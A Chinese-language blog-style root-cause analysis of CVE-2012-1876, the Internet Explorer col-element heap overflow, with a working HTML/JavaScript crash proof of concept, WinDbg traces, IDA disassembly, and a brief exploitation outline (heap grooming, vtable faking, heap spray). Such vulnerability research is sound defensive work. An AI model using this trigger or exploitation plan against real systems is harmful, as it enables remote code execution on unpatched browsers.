CVE-2012-1876Microsoft Internet Explorer Col元素遠端程式碼執行漏洞分析
Microsoft Internet Explorer是微軟Windows作業系統中預設捆綁的WEB瀏覽器。
Microsoft Internet Explorer 6至9版本中存在漏洞,該漏洞源於未正確處理記憶體中的物件。遠端攻擊者可利用該漏洞透過試圖訪問不存在的物件執行任意程式碼。也稱“Col元素遠端程式碼執行漏洞”。
<html> <body> <table style="table-layout:fixed" > <col id="132" width="41" span="1" >  </col> </table> <script> function over_trigger() { var obj_col = document.getElementById("132"); obj_col.width = "42765"; obj_col.span = 1000; } setTimeout("over_trigger();",1); </script> </body> </html>
除錯環境為win7+未打補丁的win7,使用windbg +ust +hpa .childdbg 1載入poc,crash資訊如下
1:020> r eax=00000009 ebx=00001806 ecx=00010049 edx=0000000c esi=0d960ffc edi=0d961014 eip=66b1f167 esp=0461d7a8 ebp=0461d7b4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CTableColCalc::AdjustForCol+0x15: 66b1f167 890f mov dword ptr [edi],ecx ds:0023:0d961014=????????
因為是已開啟頁堆的情況下進行的除錯的,所以猜測是觸發了柵欄頁引發的異常。看下edi的資訊,如下。發現edi在堆d960f00中,堆底為d960ffc。而edi為0d961014差距還是很大的,同時此塊堆只有分配記錄沒有釋放記錄說明不可能是UAF漏洞,又因為是寫操作引起的那麼應該就是堆的溢位.
1:020> dc edi 0d961014 ???????? ???????? ???????? ???????? ???????????????? 0d961024 ???????? ???????? ???????? ???????? ???????????????? 0d961034 ???????? ???????? ???????? ???????? ???????????????? 0d961044 ???????? ???????? ???????? ???????? ???????????????? 0d961054 ???????? ???????? ???????? ???????? ???????????????? 0d961064 ???????? ???????? ???????? ???????? ???????????????? 0d961074 ???????? ???????? ???????? ???????? ???????????????? 0d961084 ???????? ???????? ???????? ???????? ???????????????? 1:020> !heap -p -a edi address 0d961014 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) bdd1270: d960f00 fc - d960000 2000 73b88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77917d96 ntdll!RtlpAllocateHeap+0x000000c4 778e34ca ntdll!RtlAllocateHeap+0x0000023a 668a6c94 mshtml!_HeapRealloc+0x00000036 668c8ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1 668002f7 mshtml!CTableLayout::CalculateMinMax+0x000001df 66800713 mshtml!CTableLayout::CalculateLayout+0x00000276 667eaf19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720 668dcc48 mshtml!CLayout::CalcSize+0x000002b8 668cf5d0 mshtml!CFlowLayout::MeasureSite+0x00000312 668cf31d mshtml!CFlowLayout::GetSiteWidth+0x00000156 668cf664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce 668cfb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150 70bd665d msls31!ProcessOneRun+0x000003e9 70bd6399 msls31!FetchAppendEscCore+0x0000018e 70bd6252 msls31!LsDestroyLine+0x0000047f 70bd61c3 msls31!LsDestroyLine+0x000009ff 70bd293f msls31!LsCreateLine+0x000000cb 668cdd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127 668e17cc mshtml!CLSMeasurer::LSMeasure+0x00000034 668e1ef5 mshtml!CLSMeasurer::Measure+0x000001e6 668e1db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c 668e11a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d 6690a8f6 mshtml!CDisplay::RecalcLines+0x000008bb 669b490f mshtml!CDisplay::WaitForRecalc+0x00000209 6694d534 mshtml!CFlowLayout::Notify+0x000007de 668b7515 mshtml!NotifyElement+0x00000041 668b727c mshtml!CMarkup::Notify+0x000000d6 668dc06c mshtml!CElement::SendNotification+0x0000004a 66947e44 mshtml!CElement::EnsureRecalcNotify+0x0000015f 668806e5 mshtml!CDisplayPointer::MoveUnit+0x000002b2
我們來kp看一下棧回溯,不對,應該看下kv的,注意下引數的傳遞
1:020> kp ChildEBP RetAddr 0461d7b4 66995b8e mshtml!CTableColCalc::AdjustForCol+0x15 0461d864 66800713 mshtml!CTableLayout::CalculateMinMax+0x52f 0461da80 667eaf19 mshtml!CTableLayout::CalculateLayout+0x276 0461dc2c 668dcc48 mshtml!CTableLayout::CalcSizeVirtual+0x720 0461dd64 668cf5d0 mshtml!CLayout::CalcSize+0x2b8 0461de28 668cf31d mshtml!CFlowLayout::MeasureSite+0x312 0461de70 668cf664 mshtml!CFlowLayout::GetSiteWidth+0x156 0461deb0 668cfb40 mshtml!CLSMeasurer::GetSiteWidth+0xce 0461df34 70bd665d mshtml!CEmbeddedILSObj::Fmt+0x150 0461dfc4 70bd6399 msls31!ProcessOneRun+0x3e9 0461e020 70bd6252 msls31!FetchAppendEscCore+0x18e 0461e074 70bd61c3 msls31!LsDestroyLine+0x47f 0461e0fc 70bd293f msls31!LsDestroyLine+0x9ff 0461e138 668cdd81 msls31!LsCreateLine+0xcb 0461e288 668e17cc mshtml!CLSMeasurer::LSDoCreateLine+0x127 0461e32c 668e1ef5 mshtml!CLSMeasurer::LSMeasure+0x34 0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6 0461e398 668e11a2 mshtml!CLSMeasurer::MeasureLine+0x1c 0461e448 6690a8f6 mshtml!CRecalcLinePtr::MeasureLine+0x46d 0461ec50 669b490f mshtml!CDisplay::RecalcLines+0x8bb
1:020> kv ChildEBP RetAddr Args to Child 0461d7b4 66995b8e 00001806 0461daf8 00000001 mshtml!CTableColCalc::AdjustForCol+0x15 0461d864 66800713 00000009 0461daf8 00000013 mshtml!CTableLayout::CalculateMinMax+0x52f 0461da80 667eaf19 0461daf8 0461dac4 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0461dc2c 668dcc48 0461ec90 0461de58 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0461dd64 668cf5d0 0b11aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 0461de28 668cf31d 0b11aea8 0002469e 0002469e mshtml!CFlowLayout::MeasureSite+0x312 0461de70 668cf664 1868bf00 00000061 0461ec90 mshtml!CFlowLayout::GetSiteWidth+0x156 0461deb0 668cfb40 0a3ecfb0 0b11aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce 0461df34 70bd665d 1340aff8 0461df54 0461e018 mshtml!CEmbeddedILSObj::Fmt+0x150 0461dfc4 70bd6399 1277aefc 00000000 133e3d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo]) 0461e020 70bd6252 1277af18 000258dd 00000000 msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo]) 0461e074 70bd61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo]) 0461e0fc 70bd293f 00000937 00003a44 00000000 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo]) 0461e138 668cdd81 00000001 00000937 00003a44 msls31!LsCreateLine+0xcb (FPO: [Non-Fpo]) 0461e288 668e17cc 0461ec90 00000937 0a3ecfc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127 0461e32c 668e1ef5 0461eb90 0002469e 00000000 mshtml!CLSMeasurer::LSMeasure+0x34 0461e374 668e1db1 00000000 00025256 00000003 mshtml!CLSMeasurer::Measure+0x1e6 0461e398 668e11a2 00025256 00000003 1868bf40 mshtml!CLSMeasurer::MeasureLine+0x1c 0461e448 6690a8f6 0461e968 0b47d9f0 00000003 mshtml!CRecalcLinePtr::MeasureLine+0x46d 0461ec50 669b490f 0461ec90 000003e9 0000055e mshtml!CDisplay::RecalcLines+0x8bb
看下這個模組的資訊,抓出來這個模組到ida中看下流程。
1:020> lmm mshtml v start end module name 666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb Loaded symbol image file: C:\Windows\System32\mshtml.dll Image path: C:\Windows\System32\mshtml.dll Image name: mshtml.dll Timestamp: Tue Jul 14 09:08:26 2009 (4A5BDA8A) CheckSum: 005BE1C8 ImageSize: 005B2000 File version: 8.0.7600.16385 Product version: 8.0.7600.16385 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: MSHTML OriginalFilename: MSHTML.DLL ProductVersion: 8.00.7600.16385 FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255) FileDescription: Microsoft (R) HTML Viewer LegalCopyright: © Microsoft Corporation. All rights reserved.
結果發現模組載入的基址不一樣,沒法直接在IDA中跳過去。看下在IE程式里載入的基地址,如下。66b1f167-666f0000= 42F167,而IDA為如圖74C20000+42F167=7504F167。
1:020> lm start end module name 01360000 01406000 iexplore (deferred) 666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb 69b00000 69bb2000 jscript (deferred) 6b490000 6bf0c000 IEFRAME (deferred) 6e400000 6e43c000 OLEACC (deferred) 6eac0000 6eaee000 MLANG (deferred) 6ef90000 6ef96000 sensapi (deferred) 6f060000 6f0b2000 RASAPI32 (deferred) 6f4c0000 6f4eb000 ieproxy (deferred) 70550000 70582000 WINMM (deferred) 70710000 70714000 ksuser (deferred) 70720000 70750000 wdmaud (deferred) 70af0000 70b25000 IEShims (deferred) 70bc0000 70bc6000 rasadhlp (deferred) 70bd0000 70bfa000 msls31 (pdb symbols) C:\symbols\msls31.pdb\7919161B84F0418F9FCD19A720CF43902\msls31.pdb 71190000 711c0000 iepeers (deferred) 711e0000 71216000 AUDIOSES (deferred) 72140000 72178000 fwpuclnt (deferred) 72630000 72636000 IconCodecService (deferred) 72640000 726af000 ntshrui (deferred) 726b0000 726bb000 CSCAPI (deferred) 726c0000 726c9000 CSCDLL (deferred) 726d0000 7273a000 cscui (deferred) 72740000 72771000 EhStorShell (deferred) 72920000 72927000 WINNSI (deferred) 72930000 7294c000 iphlpapi (deferred) 72e10000 72e61000 WINSPOOL (deferred) 73390000 733a5000 rasman (deferred) 73b80000 73be0000 verifier (pdb symbols) C:\symbols\verifier.pdb\8878279C450C4F4DA6B252A4B824B4981\verifier.pdb 73cb0000 73cbe000 pngfilt (deferred) 73cc0000 73ccb000 msimtf (deferred) 73d00000 73d0b000 ImgUtil (deferred) 73da0000 73dad000 rtutils (deferred) 73f60000 73f67000 midimap (deferred) 73f70000 73f84000 MSACM32_73f70000 (deferred) 73f90000 73f98000 msacm32 (deferred) 73fd0000 740cb000 WindowsCodecs (deferred) 74160000 7416a000 slc (deferred) 74170000 74182000 pnrpnsp (deferred) 741a0000 741ad000 wshbth (deferred) 741b0000 741c0000 napinsp (deferred) 741c0000 741c8000 winrnr (deferred) 74360000 74381000 ntmarta (deferred) 74390000 743bf000 XmlLite (deferred) 743c0000 743d3000 dwmapi (deferred) 74510000 746a0000 gdiplus (deferred) 746a0000 7483e000 comctl32 (deferred) 74840000 74850000 NLAapi (deferred) 74860000 748a0000 uxtheme (deferred) 74bd0000 74bd7000 AVRT (deferred) 74be0000 74cd5000 propsys (deferred) 74ce0000 74d19000 MMDevAPI (deferred) 74ee0000 74ee9000 VERSION (deferred) 74f70000 74f75000 wshtcpip (deferred) 75200000 7523b000 rsaenh (deferred) 752e0000 75324000 dnsapi (deferred) 75410000 75416000 wship6 (deferred) 75420000 7545c000 mswsock (deferred) 75460000 75476000 CRYPTSP (deferred) 75570000 75589000 srvcli (deferred) 758c0000 758da000 SspiCli (deferred) 758e0000 7592b000 apphelp (deferred) 75930000 7593c000 CRYPTBASE (deferred) 75940000 7599f000 SXS (deferred) 759d0000 759de000 RpcRtRemote (deferred) 759e0000 759eb000 profapi (deferred) 75a50000 75a5c000 MSASN1 (deferred) 75a60000 75ae4000 COMCTL32_75a60000 (deferred) 75af0000 75b02000 DEVOBJ (deferred) 75b10000 75c2c000 CRYPT32 (deferred) 75c30000 75c7a000 KERNELBASE (deferred) 75cb0000 75cd7000 CFGMGR32 (deferred) 75ce0000 75d2e000 GDI32 (deferred) 75d30000 75d49000 sechost (deferred) 75d50000 75eac000 ole32 (deferred) 75eb0000 75f79000 USER32 (deferred) 75f80000 7602c000 msvcrt (deferred) 76030000 76c79000 SHELL32 (deferred) 76c80000 76cfb000 comdlg32 (deferred) 76d00000 76d83000 CLBCatQ (deferred) 76dc0000 76ef5000 urlmon (deferred) 76f00000 76fa1000 RPCRT4 (deferred) 76fb0000 77084000 kernel32 (deferred) 77090000 7722d000 SETUPAPI (deferred) 77230000 772bf000 OLEAUT32 (deferred) 772c0000 77360000 ADVAPI32 (deferred) 77360000 773fd000 USP10 (deferred) 77460000 7752c000 MSCTF (deferred) 77530000 77587000 SHLWAPI (deferred) 77590000 77789000 iertutil (deferred) 77790000 77884000 WININET (deferred) 77890000 779cc000 ntdll (pdb symbols) C:\symbols\ntdll.pdb\F0164DA71FAF4765B8F3DB4F2D7650EA2\ntdll.pdb 779d0000 779d5000 PSAPI (deferred) 779e0000 779e3000 Normaliz (deferred) 779f0000 77a0f000 IMM32 (deferred) 77a10000 77a16000 NSI (deferred) 77a20000 77a65000 WLDAP32 (deferred) 77a70000 77a7a000 LPK (deferred) 77a80000 77ab5000 ws2_32 (deferred)
得到了函式如下,我們可以看到edi=esi+0x18。而esi沒有處理,說明是上層函式傳遞過來的。
; Attributes: bp-based frame sub_7504F152 proc near arg_0= dword ptr 8 arg_4= dword ptr 0Ch arg_8= dword ptr 10h mov edi, edi push ebp mov ebp, esp mov ecx, [eax] push ebx mov ebx, [ebp+arg_0] push edi mov eax, ecx and eax, 0Fh lea edi, [esi+18h] push eax mov [edi], ecx
我們看下上層函式66995b8e-666f0000= 2A5B8E,2A5B8E+74C20000=74EC5B8E。首先esi來自於區域性變數,在看下var_24的值
mov esi, [ebp+var_24] push [ebp+var_C] call sub_7504F152
如果去跟進CTableLayout::CalculateMinMax函式,也就是crash函式的上層函式可以發現一些東西。首先是這個函式的第一個引數的意義
2:029> dc esp 046ae190 65bb0713 08100ea8 046ae420 00000000 ...e.... .j..... 046ae1a0 00000000 08100ea8 08100ea8 7777517e ............~Qww 046ae1b0 77737d96 00050000 00000000 ffffffff .}sw............ 046ae1c0 00000000 00000000 00000000 00000000 ................ 046ae1d0 00000000 ffffffff 00000000 0045852c ............,.E. 046ae1e0 00000000 00000000 7776c3a9 046ae208 ..........vw..j. 046ae1f0 00000000 00000000 00000000 0760afe0 ..............`. 046ae200 00000000 00000000 046ae2a8 7776c979 ..........j.y.vw 2:029> dc 08100ea8 08100ea8 65aa9868 047a5f30 084adfb8 65c64918 h..e0_z...J..I.e 08100eb8 00000001 00000000 0108080d ffffffff ................ 08100ec8 00000000 00000000 00000000 ffffffff ................ 08100ed8 0002783a 00011d8c 00000000 00000000 :x.............. 08100ee8 00000000 00412802 00000000 00000000 .....(A......... 08100ef8 00000000 00000001 ffffffff ffffffff ................ 08100f08 ffffffff ffffffff 65aa9fd0 00000004 ...........e.... 08100f18 00000004 08120ff0 65aa9fd0 00000004 ...........e.... 2:029> ln 65aa9868 (65aa9868) mshtml!CTableLayout::`vftable' | (65aa99a8) mshtml!CTableLayoutBlock::`vftable' Exact matches: mshtml!CTableLayout::`vftable' = <no type information>
由此可見arg1就是CTableLayout物件的指標。而這個物件對應的其實就是<table>標籤。接著往下跟會發現又取用了此物件中的一個成員,如下
2:029> p eax=00000000 ebx=08100ea8 ecx=00412802 edx=ffffffff esi=046ae420 edi=046ae3ec eip=65bb01a6 esp=046ae0f4 ebp=046ae18c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableLayout::CalculateMinMax+0x1c: 65bb01a6 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:08100efc=00000001
據說,這個值代表span屬性的個數,那麼根據poc就是1了。然後後面還有一個取用物件成員的語句,如下。
2:029> eax=00000000 ebx=08100ea8 ecx=00000000 edx=00000001 esi=046adc38 edi=00000000 eip=65bb02cc esp=046ad908 ebp=046ad9a4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x1b1: 65bb02cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds:0023:08100f3c=00000004
又據說,這個值用來與span的個數做比較,叫做spancmp,然後又呼叫了一個分配記憶體的函式
.text:74DF8FB7 ; int __stdcall CImplAry::EnsureSizeWorker(size_t) .text:74DF8FB7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near .text:74DF8FB7 ; CODE XREF: CSelectionRenderingServiceProvider::GetSelectionChunksForLayout(CFlowLayout *,CRenderInfo *,CDataAry<HighlightSegment> *,int *,int *)-6B92p .text:74DF8FB7 ; CView::DeferTransition(COleSite *)+3Fp ... .text:74DF8FB7 .text:74DF8FB7 dwBytes = dword ptr -8 .text:74DF8FB7 var_4 = dword ptr -4 .text:74DF8FB7 arg_0 = dword ptr 8 .text:74DF8FB7 .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E02CB4 SIZE 00000036 BYTES .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES .text:74DF8FB7 .text:74DF8FB7 mov edi, edi .text:74DF8FB9 push ebp .text:74DF8FBA mov ebp, esp .text:74DF8FBC push ecx .text:74DF8FBD push ecx .text:74DF8FBE push ebx .text:74DF8FBF push esi .text:74DF8FC0 mov esi, eax .text:74DF8FC2 push 4 .text:74DF8FC4 pop eax .text:74DF8FC5 mov [ebp+var_4], eax .text:74DF8FC8 cmp esi, eax .text:74DF8FCA jnb loc_74E02CB4 .text:74DF8FD0 .text:74DF8FD0 loc_74DF8FD0: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+9D00j .text:74DF8FD0 ; CImplAry::EnsureSizeWorker(uint,long)+9D25j ... .text:74DF8FD0 mov eax, [ebp+var_4] .text:74DF8FD3 mul [ebp+arg_0] .text:74DF8FD6 push edx .text:74DF8FD7 push eax .text:74DF8FD8 lea eax, [ebp+dwBytes] .text:74DF8FDB call ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *) .text:74DF8FE0 mov ebx, eax .text:74DF8FE2 test ebx, ebx .text:74DF8FE4 jnz short loc_74DF900B .text:74DF8FE6 test byte ptr [edi+4], 2 .text:74DF8FEA jnz loc_74E3BEEC .text:74DF8FF0 push [ebp+dwBytes] ; dwBytes .text:74DF8FF3 lea esi, [edi+0Ch] .text:74DF8FF6 call ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint) .text:74DF8FFB mov ebx, eax .text:74DF8FFD test ebx, ebx .text:74DF8FFF jnz short loc_74DF900B .text:74DF9001 .text:74DF9001 loc_74DF9001: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+42F6Dj .text:74DF9001 mov eax, [ebp+var_4] .text:74DF9004 and dword ptr [edi+4], 0FFFFFFFDh .text:74DF9008 mov [edi+8], eax .text:74DF900B .text:74DF900B loc_74DF900B: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2Dj .text:74DF900B ; CImplAry::EnsureSizeWorker(uint,long)+48j ... .text:74DF900B pop esi .text:74DF900C mov eax, ebx .text:74DF900E pop ebx .text:74DF900F leave .text:74DF9010 retn 4
由於我沒有對於IE物件的知識只好跟著泉哥的分析走,如下
- crash函式的上層函式CTableLayout::CalculateMinMax的第一個引數為<table>的物件CtableLayout,由於一直在使用[ebx+xx]的形式索引值所以可以依據這個來推斷。
- CtableLayout+0x54是spannum就是span屬性的值,為1
- CtableLayout+0x9C是分配的堆的指標,是上面那個函式分配的(泉哥寫的是0x90,但是根據除錯結果來看是0x9C應該是印刷錯誤)
- CtableLayout+0x94是泉哥所說的用來與spannum比較的spancmp,這個值為4
值得注意的一點是,上面這一切的操作都是poc的起始幾句話所引起的,也就是一個對應的關係。
<table style="table-layout:fixed" > <col id="132" width="41" span="1" >  </col> </table>
這個也就是為什麼會有span等於1,我們先整理一下資料。
CtableLayout+0x54=1,如下
2:029> dc 08100ea8+0x54 l1 08100efc 00000001 ....
CtableLayout+0x94=4,如下
2:029> dc 08100ea8+0x94 l1 08100f3c 00000004 ....
2:029> dc 08100ea8+0x9c l1 08100f44 07e34f90 .O.. 2:029> !heap -p -a 07e34f90 address 07e34f90 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7dd0548: 7e34f90 70 - 7e34000 2000 77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77737d96 ntdll!RtlpAllocateHeap+0x000000c4 777034ca ntdll!RtlAllocateHeap+0x0000023a 65c56c94 mshtml!_HeapRealloc+0x00000036 65c78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1 65bb02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df 65bb0713 mshtml!CTableLayout::CalculateLayout+0x00000276 65b9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720 65c8cc48 mshtml!CLayout::CalcSize+0x000002b8 65c7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312 65c7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156 65c7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce 65c7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150 6f91665d msls31!ProcessOneRun+0x000003e9 6f916399 msls31!FetchAppendEscCore+0x0000018e 6f916252 msls31!LsDestroyLine+0x0000047f 6f9161c3 msls31!LsDestroyLine+0x000009ff 6f91293f msls31!LsCreateLine+0x000000cb 65c7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127 65c917cc mshtml!CLSMeasurer::LSMeasure+0x00000034 65c91ef5 mshtml!CLSMeasurer::Measure+0x000001e6 65c91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c 65c911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d 65c933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440 65c930eb mshtml!CDisplay::RecalcLines+0x0000006b 65c93015 mshtml!CDisplay::RecalcView+0x0000006d 65c92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d 65b9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045 65c902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049 65c90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8 65c9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af
CtableLayout+0x9C就是上面分配的堆指標。根據資訊可以看到是0x70大小。
之後會因為function over_trigger()函式的呼叫,又一次進入到crash函式的上層函式里,所以上面我們才要進行一下區分。如下所示是呼叫獲取span值的函式,eax為返回值為1000正好對應了我設定的 obj_col.span = 1000;
call ?GetAAspan@CTableCol@@QBEHXZ ; CTableCol::GetAAspan(void)
2:028> p eax=000003e8 ebx=07cd0ea8 ecx=00000002 edx=07cf2ff0 esi=05dd4fac edi=07d04fd0 eip=65d45a33 esp=0442d9b8 ebp=0442da54 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x383: 65d45a33 3de8030000 cmp eax,3E8h
然後執行了獲取要複製的長度的函式
.text:74EC5AB3 call ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth(CDocInfo const *,CElement *,int) .text:74EC5AB8 cmp [ebp+var_5C], 0 .text:74EC5ABC mov [ebp+var_2C], eax
總結就是span在第一次時分配了記憶體而第二次時並沒有,造成了往4*0x1c的記憶體中寫入1000*0x1c資料的情況。
漏洞利用
關於漏洞利用,對於漏洞利用其實我們只需要清楚這幾點
1.寫入的內容:width*100
2.寫入的長度:span*0x1C
3.造成溢位的記憶體塊:table標籤為span屬性分配的大小為0x70的堆記憶體,此記憶體的地址儲存在table標籤對應的C++物件——CtableLayout物件的0x9C偏移處。
那麼利用的思路就是先釋放一批0x70的堆塊,然後讓溢位堆塊去佔用它們。這樣溢位發生後就可以指定的去溢位目標了,這樣可以溢位後面一個物件然後偽造虛表+堆噴就可以了。
相關文章
- Joomla遠端程式碼執行漏洞分析2020-08-19OOM
- CVE-2013-1347Microsoft Internet Explorer 8 遠端執行程式碼漏洞2016-07-29ROS行程
- Discuz! X系列遠端程式碼執行漏洞分析2020-08-19
- ThinkPHP遠端程式碼執行漏洞2019-09-12PHP
- phpunit 遠端程式碼執行漏洞2020-10-16PHP
- OpenWRT 曝遠端程式碼執行漏洞2020-02-03
- 最新漏洞:Spring Framework遠端程式碼執行漏洞2022-03-31SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 什麼是遠端程式碼執行漏洞?2022-07-07
- ThinkPHP 5.0.23 遠端程式碼執行漏洞2024-04-19PHP
- .NET Remoting 遠端程式碼執行漏洞探究2020-08-19REM
- crash_for_windows_pkg遠端程式碼執行漏洞2022-03-24Windows
- WindowsJScript元件曝遠端程式碼執行漏洞2018-06-05WindowsJS元件
- PHP CGI Windows下遠端程式碼執行漏洞2024-06-07PHPWindows
- log4j遠端程式碼執行漏洞2024-06-08
- Apache Struts 再曝高危遠端程式碼執行漏洞2018-08-27Apache
- Struts2遠端程式碼執行漏洞預警2017-03-08
- Log4j遠端程式碼執行漏洞漫談2022-02-25
- ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)2020-08-19Elasticsearch指令碼
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞2019-09-02網站UI
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞2021-01-13Laravel模式
- Firefox 31~34遠端命令執行漏洞的分析2020-08-19Firefox
- Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探2021-03-07
- Internet Explorer漏洞分析(二)——CVE-2013-25512021-02-25
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁2018-06-06客戶端
- Apache SSI 遠端命令執行漏洞2020-10-05Apache
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警2022-06-16PHP
- Apache log4j2 遠端程式碼執行漏洞復現?2021-12-14Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?2021-11-04ApacheSolr伺服器
- Django任意程式碼執行漏洞分析2015-09-15Django
- PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析2019-10-28PHP
- [原創]Java開發工具包URL引數遠端程式碼執行漏洞之分析2010-09-01Java
- Internet Explorer漏洞分析(四)——CVE-2012-47922021-04-19
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)2021-12-10Apache
- OGNL設計及使用不當造成的遠端程式碼執行漏洞2020-08-19
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)2024-04-30SpringWeb
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行2024-06-09PHP伺服器
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)2024-09-12Apache